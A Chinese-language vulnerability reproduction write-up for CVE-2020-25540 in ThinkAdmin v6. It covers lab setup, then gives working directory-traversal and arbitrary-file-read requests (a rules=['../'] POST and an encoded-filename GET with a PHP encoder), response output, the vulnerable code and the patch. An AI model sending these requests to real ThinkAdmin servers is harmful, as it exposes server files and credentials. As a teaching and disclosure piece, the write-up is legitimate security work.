CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院

本文由 东塔网络安全学院学员—景同学 投稿。

环境搭建

phpstudy2018+ThinkAdmin v6.0.3

ThinkAdmin版本 ≤ 2020.08.03.01

https://github.com/zoujingli/ThinkAdmin/tree/a57c3a9373bc89f5eaa4142d047481a898b5757e

图片[1]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

Composer命令

\1. 安装Composer命令,phpstudy中PHP设置成7.1或以上版本,并把对应的文件夹放入环境变量path中

图片[2]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\2. 在phpstudy服务器中打开php.ini文件,找到extension=php_openssl.dll前面的分号去掉,意思是打开ssl扩展,目的是为了能在cmd命令中能进行访问

图片[3]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\3. 安装composer.phar,找到下载内容的地方,去下载当前最新版本的composer.phar,双击安装,不用勾选

下载地址https://getcomposer.org/Composer-Setup.exe

图片[4]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\4. 配置环境变量后自动选择了

图片[5]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

然后一直下一步,安装完成

图片[6]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\5. 安装完成后在cmd命令行输入composer查看是否安装成功

图片[7]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\6. 设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer

图片[8]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\7. 搜索下载ThinkAdminV6的漏洞版本到本地

图片[9]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\8. 进入ThinkAdmin目录进行安装

composer install

图片[10]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\9. 然后进config/database.php目录下修改配置文件,需要创建一个数据库

图片[11]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

修改数据库连接所用的账号密码 root/root

导入数据库

要将 thinkadmin 安装包里的 admin_v6.sql 文件导入到数据库

图片[12]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

快速新建数据库

图片[13]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

数据库名:admin_v6

常用source 命令

进入mysql数据库控制台,

如mysql -u root -p

mysql>use 数据库

然后使用source命令,后面参数为脚本文件(如这里用到的.sql)

mysql>source d:wcnc_db.sql

图片[14]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

成功导入

图片[15]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

\10. php进行运行 php think run

图片[16]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

http://ip:8000打开页面

图片[17]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

漏洞复现

目录遍历/任意文件读取

目录遍历

可以在浏览器直接构造,也可以burp抓包改包

图片[18]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

①使用burp抓取首页的包,发送到Repeater模块构造数据包获取目录

②在Repeater模块中把GET修改成POST,url后添加 ?s=admin/api.Update/node

在下面输入rules=%5b%22%2f%22%5d //rules=[“/”]

③点击”Send”发送,可以看到返回包中带有目录列表了

图片[19]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

注:没有返回列表,是因为抓包时不是第一次加载页面,Content-Type字段被替换成为Cache-Control,虽然200但是列表内容为空。

图片[20]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

抓第一次加载页面时的包就没问题

返回结果

rules=[“/”]会遍历 E:\phpstudy2018\PHPTutorial\WWW\ThinkAdmin6 下所有文件

图片[21]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

HTTP/1.1 200 OKHost: 192.168.80.111:8000Date: Mon, 30 Nov 2020 10:32:39 +0800Connection: closeX-Powered-By: PHP/7.2.1Content-Type:application/json; charset=utf-8Set-Cookie: think_lang=zh-cn; path=/Set-Cookie: PHPSESSID=8a43a78b3ebd325158a78608ac57107a; path=/{“code”:1,”info”:”获取文件列表成功!”,”data”:{“rules”:[“\/”],”ignore”:[],”list”:[{“name”:”\/admin_v6.sql”,”hash”:”a6add0e2aab0e7d45f1ef35ad7846c52″},{“name”:”\/app\/admin\/controller\/Auth.php”,”hash”:”9a254f39ccdb4e334d48a8596d4ced57″},{“name”:”\/app\/admin\/controller\/Config.php”,”hash”:”09a65b23959905b7ea511e61b75d9626″},{“name”:”\/app\/admin\/controller\/Index.php”,”hash”:”da3736920e43b33e18e0ba72407c8588″},{“name”:”\/app\/admin\/controller\/Login.php”,”hash”:”c1820e476b786a793a48ff893bf8ed3c”},{“name”:”\/app\/admin\/controller\/Menu.php”,”hash”:”d278f7948bfbe005987c16d18d2f49cb”},{“name”:”\/app\/admin\/controller\/Oplog.php”,”hash”:”7340a732685f2d4e91c01b07aa3efc4d”},{“name”:”\/app\/admin\/controller\/Queue.php”,”hash”:”88ca8b37cb205adbbf771878836366be”},{“name”:”\/app\/admin\/controller\/User.php”,”hash”:”52c893ed2f2390e6a46ca3d0fcee59da”},{“name”:”\/app\/admin\/controller\/api\/Plugs.php”,”hash”:”db98179054e8fe3a051f97901ea9ff2b”},/*省略一万行*/{“name”:”\/vendor\/zoujingli\/wechat-developer\/composer.json”,”hash”:”7db3f4ea9c17c21174c665b22992e97a”},{“name”:”\/vendor\/zoujingli\/wechat-developer\/include.php”,”hash”:”1434ae58cf94166d7097fe29ba0d42da”},{“name”:”\/vendor\/zoujingli\/wechat-developer\/readme.md”,”hash”:”5dc2765147e9aff90a838578a1dd8083″},{“name”:”\/启动须知.txt”,”hash”:”263d4e9a08fbab5ac55e78cf537acb6f”}]}}

rules=[“../”]会遍历 E:\phpstudy2018\PHPTutorial\WWW 下所有文件

rules=[“../../”]会遍历 E:\phpstudy2018\PHPTutorial 下所有文件

rules=[“../../../”]会遍历 E:\phpstudy2018 下所有文件

rules=[“../../../../”]会遍历 E:\ 下所有文件

图片[22]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

目录遍历内容超出限制会报错

任意文件读取

①读取根目录下【启动须知.txt】

图片[23]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

②在使用加密函数对文件名进行加密,等下传参要用

<?php function encode($content) { //加密正常文件名 //list($chars, $length) = [”, strlen($string = iconv(‘UTF-8’, ‘GBK//TRANSLIT’, $content))]; //加密中文文件名 list($chars, $length) = [”, strlen($string = iconv(‘UTF-8’, ‘GB2312’, $content))]; for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0); return $chars; }$content=”启动须知.txt”;echo encode($content);?>

在虚拟机运行

图片[24]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

在线运行

图片[25]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

5i6s524v5s6j5y4q1a383c38

③访问下面链接即可读取到文件内容

http://192.168.80.111:8000/admin.html?s=admin/api.Update/get/encode/5i6s524v5s6j5y4q1a383c38

图片[26]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

base64解密得到文件内容

图片[27]-CVE-2020-25540 目录遍历文件读取漏洞 – 作者:东塔安全学院-安全小百科

漏洞原因

由于Update.php这个文件中的函数方法没有授权导致的

Update.php

E:\phpstudy2018\PHPTutorial\WWW\ThinkAdmin6\app\admin\controller\api\Update.php

<?php// +———————————————————————-// | ThinkAdmin// +———————————————————————-// | 版权所有 2014~2020 广州楚才信息科技有限公司 [ http://www.cuci.cc ]// +———————————————————————-// | 官方网站: https://thinkadmin.top// +———————————————————————-// | 开源协议 ( https://mit-license.org )// +———————————————————————-// | gitee 代码仓库:https://gitee.com/zoujingli/ThinkAdmin// | github 代码仓库:https://github.com/zoujingli/ThinkAdmin// +———————————————————————-namespace app\admin\controller\api;use think\admin\Controller;use think\admin\service\InstallService;/** * 安装服务端支持 * Class Update * @package app\admin\controller\api */class Update extends Controller{ /** * 读取文件内容 */ public function get() { if (file_exists($file = $this->app->getRootPath() . decode(input(‘encode’, ‘0’)))) { $this->success(‘读取文件成功!’, [‘content’ => base64_encode(file_get_contents($file))]); } else { $this->error(‘读取文件内容失败!’); } } /** * 读取文件列表 */ public function node() { $this->success(‘获取文件列表成功!’, InstallService::instance()->getList( json_decode($this->request->post(‘rules’, ‘[]’, ”), true), json_decode($this->request->post(‘ignore’, ‘[]’, ”), true) )); }}

修复方式

1.升级到2020.08.03.01之后的版本

2.使用官方的临时修复方案

https://github.com/zoujingli/ThinkAdmin/issues/244

来源:freebuf.com 2020-12-03 11:00:59 by: 东塔安全学院

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论